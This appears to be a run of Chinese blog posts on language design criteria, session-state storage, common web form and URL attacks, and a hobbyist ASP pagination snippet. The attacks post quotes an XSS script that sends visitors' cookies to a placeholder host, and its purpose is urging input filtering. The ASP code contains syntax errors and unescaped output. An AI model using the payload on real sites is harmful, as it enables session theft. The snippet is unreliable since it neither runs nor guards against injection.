1、可读性。判断一个语言的优劣的一个最重要的标准是用它写的程序要好读,好懂。
一种语言的整体简单性极大的影响着他的可读性。一种具有大量基本结构的语言较只有少量基本结构的语言要难学得多,当然,过少也会非常难学,汇编就是如此。
2、正交性。正交性是指使用该语言中一组相对少量的基本结构,经过相对少的组合步骤,可以构成该语言的控制结构与数据接哦股。而且,它的基本结构的任何组合都是合法和有意义的。
3、控制语句。在20世纪50年代和60年代,一批程序设计语言由于缺乏控制语句,导致很差的可读性。随后的语言都兴起了结构化程序设计的革命。尤其是人们普遍意识到滥用goto会降低程序设计的可读性。
4、数据类型和数据结构。在程序设计语言中给出定义数据类型和数据结构的合理机制,是语言可读性的又一个重要辅助。
5、可写性。可写性是程序设计语言的在应用领域产生程序的难以程度的一种度量。大多数影响可读性的语言特征可以影响可写性。
6、支持抽象。抽象指的是以合法的省略许多细节的方式,来定义并且使用复杂结构或复杂运算的能力。
7、表达性。语言的表达性可以指语言中几种不同特征。一种是具有一些功能很强的运算符。一种是程序语言具有相对方便,非繁琐的方式来说明运算。
8、可靠性。如果一个程序在任何条件下的运行都能 达到他的说明标准。我们称这饿程序是可靠的。
9.代价。第一是训练程序员使用这种语言的代价。第二是使用这种语言来编写程序的代价。第三是编译程序的代价。第四是程序运行的代价。
程序语言评估标准
会话状态模式
个人觉得会话状态模式其实算不得一种模式,因为无非就两种,而且必须是其中的一种,一种存放在客户端,一种存放在服务端。两者都有风险和优点。
通常将会话保存在客户端是为了获得服务端的高度无状态特性,即服务端可以做到完全的无状态。Java中通常使用传输对象来进行数据传输,因为传输对象可以在网上进行序列化,即使是很复杂的数据也可以进行传输。当然序列化是有风险和代价的,不是所有的序列化数据都能够被反序列化回来,虽然出现反序列化回来的出错的概率很小。
如果使用HTML的话,选择相对多一点,URL参数,隐藏表单域和Cookie,URL对于较小数据量还是比较容易使用的,现代浏览放开了对URL长度的限制,但我们不得不考虑一些古董用户的需求,毕竟IE6及以下版本的浏览器还主导着WEB世界,而且URL过长,也不符合REST原则,更不美观。
隐藏表单域适合于POST方式的请求,POST方式可以避免因浏览器限制URL长度而导致的被截断的问题。隐藏表单域在我曾经的代码中经常使用,主要是为了跟踪和referer的referer,也就是跳转到一个页面之前的原来页面。
Cookie方式是最优争议的一种方式,PHPWind采用了这一种方法,从开发者口中得知,是为了减少服务器的负载,因为服务器不用维护session状态。通过把数据序列化或者加密后以文本方式放到Cookie中,我没有测试过,PHPWind这样做是不是真的能降低服务器的负载,根据我以前的测试,session维护成本对于服务器的影响是微乎其微的,还不如优化一条SQL来得更痛快,更有效,而且放在Cookie中会导致用户请求的流量变大,在很多上下带宽不对称的机房中,这是个严重的问题,比如blogbus之前存放在上海的**机房就是这样。而且为了获得Cookie中的数据还需要进行一些列运算,未必比维护session的成本小,而且会导致严重的安全问题。只要算法是可逆的,就一定能被人破解,何况我等庸人搞的算法。
服务器会话状态最简单的一种就是把会话数据放到应用服务器的内存中,可以将会话数据以会话标识号作为键标识放到内存映射表中,现在很多工具可以做到,比如memcache等key-value 的内存存储工具。
另一种是持久化,持久化也可以分为两种,一种以二进制序列化形式存放,但这样做的缺点是不容易阅读,更新起来成本有点高,如果每个会话都一个文件的话,在高并发的时候还得解决文件系统的巨量小文件查找效率问题。还有一种就是持久化到数据库,这个存放会话的模式,可能会因为维护会话状态而带来巨大的数据库开销问题,而且为了及时清除过期的会话,往往配合触发器来进行。
总结起来每种会话管理都有天生的缺陷,如果能多种结合能够提升一些效率,比如内存缓存配合持久化数据库,就是眼下很多高负载网站正在使用的模式,也许还有其他的更多的模式和方法有待探寻~~
表单及URL攻击的几种方法
有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤,Web安全习惯上将所有用户输入的数据假定为受污染的数据(即可能带有攻击性的数据),现在比较流行的XSS(跨站脚本攻击)就是利用对用户输入过滤不完全而进行的攻击,因为用户数据过滤不完全会导致很多很多问题,我这里只是简单的介绍几种比较常见的表单及URL攻击方式,希望读者能够最大限度的注意过滤用户输入。
1)表单数据泄漏攻击
这个一般刚入行的人可能会犯错,说得通俗一点,就是该用POST方式提交数据的时候,用了GET方式提交数据,比如,用户登录时候用了GET方法,导致用户名和密码都在URL上直接显示出来了,当然假如真的傻到这种程度,这种应用大多还是属于自己玩玩的东西,不是产品。还有一种是登录等操作,在提交数据的时候被窃听或者拦截了,这种没有很好的方式去解决,最多就是利用可以在浏览器上执行的脚本,比如JavaScript对密码和用户加密后提交到服务器,而且最好采用不可逆的公共算法,在浏览器端执行的脚本如果使用自己的算法,会增加被破解的几率,当然如果你的加密程度能超过或者接近现在流行的公共加密算法,那么也是可以的:)
2)语义URL攻击
这也是利用提交的形式及参数进行攻击的,假如使用GET方式找回密码,url为:http://example.org/private.php?user=abc&email=abc@11.org,那么产生的攻击也很简单,只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中,轻松获取别人密码,POST方式大体也是通过窃听方式获得提交的数据
3)文件上传攻击
文件上传造成的危害在表单攻击中是最大的,假如成功入侵,最坏的情况甚至是可以干任何想干的事情,因此对此不可小觑。常见的有大文件攻击,假如你的服务端没有做限制的话,那么你的硬盘很快就会被塞满,或者是你在客户端中只是简单的限制了一下,那些对于心怀不轨者都是摆设,太容易绕开了。假如上传的是一个可执行的脚本,在某种情况下会激活这个脚本,那么后果就不堪设想,验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者,但根本还是让存放用户上传的文件的目录没有执行权限,脚本不能执行,那么它也仅仅是一般文本而已。
4)跨站脚本攻击
跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。
所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
比如在一个博客平台提供商,一个心怀不轨的用户在写博客时故意在内容中插入<script> document.location = ’http://abc.example.org/steal.php?cookies=’ + document.cookie</script>,结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。
5)HTTP请求欺骗攻击
所谓上有政策下有对策,很多项目为了最大程度的得到高可信度的用户输入,甚至添加了判断referer的功能,可惜这个东西十分的不靠谱,随便一个CURL就可以欺骗过去。
毕竟所有的传输都只是个协议而已,而HTTP协议本身只是负责传输,并不负责诸如安全之类的其他问题,所以过程怎么伪造都是可以的,只要攻击者足够的熟悉HTTP协议,针对HTTP协议本身的攻击,似乎目前还没有看到,虽然欺骗、攻击随处可见,方式变化多样,只要做好了过滤,多想一点再多想一点,任何攻击得到的都是一个错误页面而已
学习一下ASP
三年前,当我为网页三剑客这个词而激动不已的时候的,开始接触这个编程语言,在动网一统天下的时候,这个语言是非常流行的,那时纯粹是为了好玩,而如今当我差不多都忘记这门语言的时候,却需要它来混学分,真是可笑~~
好了,不说了,就算我在这里写上万言书,明天下午依然要奔赴考场,去拿我的那三个必修课的学分,虽然我一直怀疑学校这个时候开这门课是因为教师的思维和水平严重固化和滞后导致他们无法教授其他的编程语言,但在知识都是相通的幌子下,我只能默默的去考试,能及格强于一切理由。
用ASP写个分页吧,就算回忆一下“童年”的记忆Set conn = Server.CreateObject(”ADODB.Connection”)
conn.ConnectionString = “driver ={Microsoft Access Driver (*.mdb)};dbq”& _Server.MapPath(”personal.mdb”)
conn.open()
Set rs = conn.excute(”select * from abc”)
rs.pageSize = 5
curPage = Request.QueryString(”page”) =”” ? 1 :Request.QueryString(”page”)
rs.absolutepage = curPage
For i = 1 To rs.pagesize
If rs.eof Then
Exit For
End If
response.write(rs(”info_content”))
rs.moveNext
Next
If curPage = 1 Then
Response.Write(”首页”)
Response.Write(”上一页”)
Else
Response.Write(”<a href=\” ?page=1\” 首页</a>”)
Response.Write(”<a href=\” ?page=curPage-1\” 上一页</a>”)
End If
If rs.pageCount<curPage+1 Then
Response.Write(”下一页”)
Response.Write(”尾页”)
Else
Response.Write(”<a href=\” ?page=curPage+1\” 下一页</a>”)
Response.Write(”<a href=\” ?page=rs.pageCount\” 尾页</a>”)
End [...]